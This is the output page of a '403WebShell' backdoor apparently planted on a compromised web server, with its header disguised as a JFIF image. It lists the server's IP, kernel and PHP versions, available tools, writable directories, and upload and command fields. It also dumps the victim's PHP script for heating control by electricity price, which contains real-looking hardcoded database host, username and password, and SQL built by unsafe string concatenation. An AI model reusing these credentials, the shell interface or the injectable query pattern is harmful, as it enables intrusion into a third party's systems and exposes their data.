????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.217.162.18
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/shellyctr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/shellyctr/create_weather_table_aboveaverage.php
<?php

//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$Username = "carl.hoffstedt@astacus.se";

$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");

// SQL-fråga för att hämta data från tabellerna tblUsers och tblPriceControl
$sql = "SELECT tblPriceControl.Username as Username, tblPriceControl.Area as Area, tblPriceControl.Percent_on as Percent_on, tblPriceControl.Percent_off as Percent_off, tblPriceControl.tariff_low as tariff_low, tblPriceControl.tariff_high as tariff_high FROM tblUsers, tblPriceControl WHERE tblPriceControl.Username = tblUsers.Username ";

$result1 = $mysqli->query($sql);

while($obj1 = $result1->fetch_object()){  
    $Username =  $obj1->Username;  
    $area =  $obj1->Area;  
    $percent_on =  $obj1->Percent_on;  
    $percent_off =  $obj1->Percent_off;  
    $tariff_low =  $obj1->tariff_low;  
    $tariff_high =  $obj1->tariff_high;  

    $sql = "SELECT * FROM tblBuilding where Username = '".$Username."'";
    $result = $mysqli->query($sql);

    while($obj = $result->fetch_object()){  
        $WantedTemp =  $obj->WantedTemp; 
        $MinimumTemp =  $obj->MinimumTemp; 
    }

    if($percent_on == "1"){
        $add_on = 1;
    }
    if($percent_off == "1"){
        $add_off = 1;
    }

	$day = 1;
    $from = date("Y-m-d",strtotime("+".$day." days"))." 00:00:00";
    $to = date("Y-m-d",strtotime("+".$day." days"))." 24:00:00";

    // Ta reda på medeltemperaturen i morgon
    $sql = "SELECT AVG(t_effective) as t_effective_average FROM tblSMHI WHERE endTime >= '".$from."' and endTime <= '".$to."' and Username = '".$Username."'";
    echo($sql);

    $result = $mysqli->query($sql);

    while($obj = $result->fetch_object()){  
        $t_effective_average  =  $obj->t_effective_average;
    }

    echo("<br>Wanted temp: ".$WantedTemp);
    echo("<br>Minimum temp: ".$MinimumTemp);
    $Diff_temp = ($WantedTemp - $MinimumTemp);
    echo("<br>Diff temp: ". $Diff_temp);
    echo("<br>t_effective_average: ".$t_effective_average);

    $sql = "SELECT AVG(Diff_per_hour) as Diff_per_hour FROM tblDIFF where t_effective >= ".($t_effective_average-3)." and t_effective <= ".($t_effective_average+3)."";
    $result = $mysqli->query($sql);

    while($obj = $result->fetch_object()){  
        $Diff_per_hour  =  $obj->Diff_per_hour;
    }
	
	 if($Diff_per_hour == ""){
     	$sql = "select * from tblDIFF order by abs(Diff_per_hour - $t_effective_average) limit 1";
		   $result = $mysqli->query($sql);

			while($obj = $result->fetch_object()){  
				$Diff_per_hour  =  $obj->Diff_per_hour;
			}
    }

    if($Diff_per_hour == ""){
     $Diff_per_hour = 0.3;
    }

    echo("<br>Diff_per_hour : ".$Diff_per_hour );

    echo("<br>Vi klarar oss i : ".($Diff_temp / $Diff_per_hour) ." hr vilket motsvarar avstängt i: ". ((($Diff_temp / $Diff_per_hour)/24)*100)." %");

    $percent_on = 1-(($Diff_temp / $Diff_per_hour)/24);
    $percent_off = (($Diff_temp / $Diff_per_hour)/24);

    $sql = "SELECT DISTINCT(endTime) FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' order by endTime";
    $result = $mysqli->query($sql);

    $labels_arr = array();
    $tariff_arr = array();
    while($obj = $result->fetch_object()){  
        $timestamp =  $obj->endTime;  
        $labels_arr[] = $timestamp;     

        $month = date("n",strtotime($timestamp)); //1-12
        $hour = date("G",strtotime($timestamp)); // 0-24
        if($month >= 11 || $month <= 3){
             if($hour >= 6 && $hour < 22){
                  $tariff = 0.536;
             }else{
                  $tariff = 0.20;
             }
        }else{
            $tariff = 0.20;
        }

        $tariff_arr[] = $tariff;
    }

    $moms = 1.25;

    $sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and endTime <= '".$to."' and area = '".$area."' order by endTime";
    $result = $mysqli->query($sql);

    $arr1 = array();
    $x = 0;
	$biggest  = -1000;
    while($obj = $result->fetch_object()){  
        $timestamp =  $obj->endTime;  
        $value =   ($obj->value/1000  + $tariff_arr[$x])*$moms;
        
			if($value > $biggest ){
					$biggest  = $value;
			}
				
		
        $arr1[] = array($timestamp,$value); 
        $x++;
    }
    
 
    
 
    
    
    $arr1[] = array($timestamp,$value); 
    

    if($percent_on == "1"){
        $add_on = 1;
    }
    if($percent_off == "1"){
        $add_off = 1;
    }

    $nbr_hrs_off = round((24*$percent_off))+$add_off;
    $nbr_hrs_on = round((24*$percent_on))+$add_on;

    $sql = "SELECT * FROM tblSMHI WHERE endTime >= '".$from."' and endTime <= '".$to."' and Username = '".$Username."' order by endTime";
    $result = $mysqli->query($sql);

    $json_data_tcc_mean_array = array(); 
    $json_data_t_effective_array = array();

    while($obj = $result->fetch_object()){  
        $json_data_t_effective_array[] = (($obj->t_effective + $obj->t)/2);
        if($obj->tcc_mean >= 5){
            $json_data_tcc_mean_array[] = 0;
        }else{
            $json_data_tcc_mean_array[] = 1;
        }
    }

    $arr_use =  $arr1;

    $arr_off = array();
    $arr_on = array();
    foreach ($arr_use as &$v1) {
        $arr_off[] = $v1[1];
        $arr_on[] = $v1[1];
    }
    
    
    	$sum = 0;
        foreach ($arr_use as &$v1) {
			 $sum +=$v1[1];
		}
        $average = $sum/count($arr1);
    
    
       echo("<br>Medelpriset är: ".$average."<br>");
    
    $onoff_arr = array();
    foreach ($arr_use as &$v1) {
        if($v1[1] > $average){
         
			
			if($v1[1] == $biggest){ // Dyraste timmen är alltid off
				$onoff_arr[] = -1;
			}else{
				$onoff_arr[] = 0;
			}
			
        }else{
		
				$onoff_arr[] = 1;
			
            
        }
		
		
    }

    echo("<pre>");
    print_r($onoff_arr );
     echo("</pre>");
    
    $x = 1;
    $value_old = 1;
    foreach ($onoff_arr as &$value) {
        if($value == 0 && $value_old == 0){
            $onoff_arr[$x-1] = 1;
        }
		
		
        $value_old = $value;
        $x++;
    }
    


    $json_data_t_effective_ohmigo = array();

    $x = 0;
    foreach ($json_data_t_effective_array as &$t_effective) {
        $addtemp = 0;
        $v5 = "";	
        if($json_data_tcc_mean_array[$x] == 1){
            if($x > 8 && $x <= 15){
                if(date("n") >= 4 && date("n") <= 9 ) {
                    $addtemp += 2;
                    echo("<br>Om solen skiner mycket, höj ute temperaturen<br>");
                    $v5 = "SUN"; 
                }
            }
        }

        $v6 = "";
        if($onoff_arr[$x] == 1){
            $addtemp -= 1;
            $v5 = "CHEAP"; 
            echo("<br>Sänk temperaturen ute de billigaste timmarna på dygnet<br>");
        }

        $controltype = 4;
        if($onoff_arr[$x] == 1){
            $json_data_t_effective_ohmigo[] = array(date("Y-m-d",strtotime("+".$day." days")),$controltype,$Username,$labels_arr[$x],($json_data_t_effective_array[$x]+$addtemp),$v5,$v6,'');
        }else{
            $json_data_t_effective_ohmigo[] =  array(date("Y-m-d",strtotime("+".$day." days")),$controltype,$Username,$labels_arr[$x],20,$v5,$v6,'EXPENSIVE');
        }

        $x++;
    }

    foreach ($json_data_t_effective_ohmigo as &$v1) {
        $sql = "DELETE FROM tblWeatherControl WHERE Username = '".$v1[2]."' and Controltype = 4 and Controldate = '".date("Y-m-d",strtotime("+".$day." days"))."';";
        $mysqli->query($sql);
        echo($sql."<br>");
    }

    $sql = "";
    foreach ($json_data_t_effective_ohmigo as &$v1) {
        $sql = "INSERT INTO tblWeatherControl VALUES(null,'".$v1[0]."',".$v1[1].",'".$v1[2]."','".$v1[3]."','".$v1[4]."','".$v1[5]."','".$v1[6]."','".$v1[7]."');";
        $mysqli->query($sql);
        echo($sql."<br>");
    }
}

// Stäng anslutningen till databasen
$mysqli->close();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit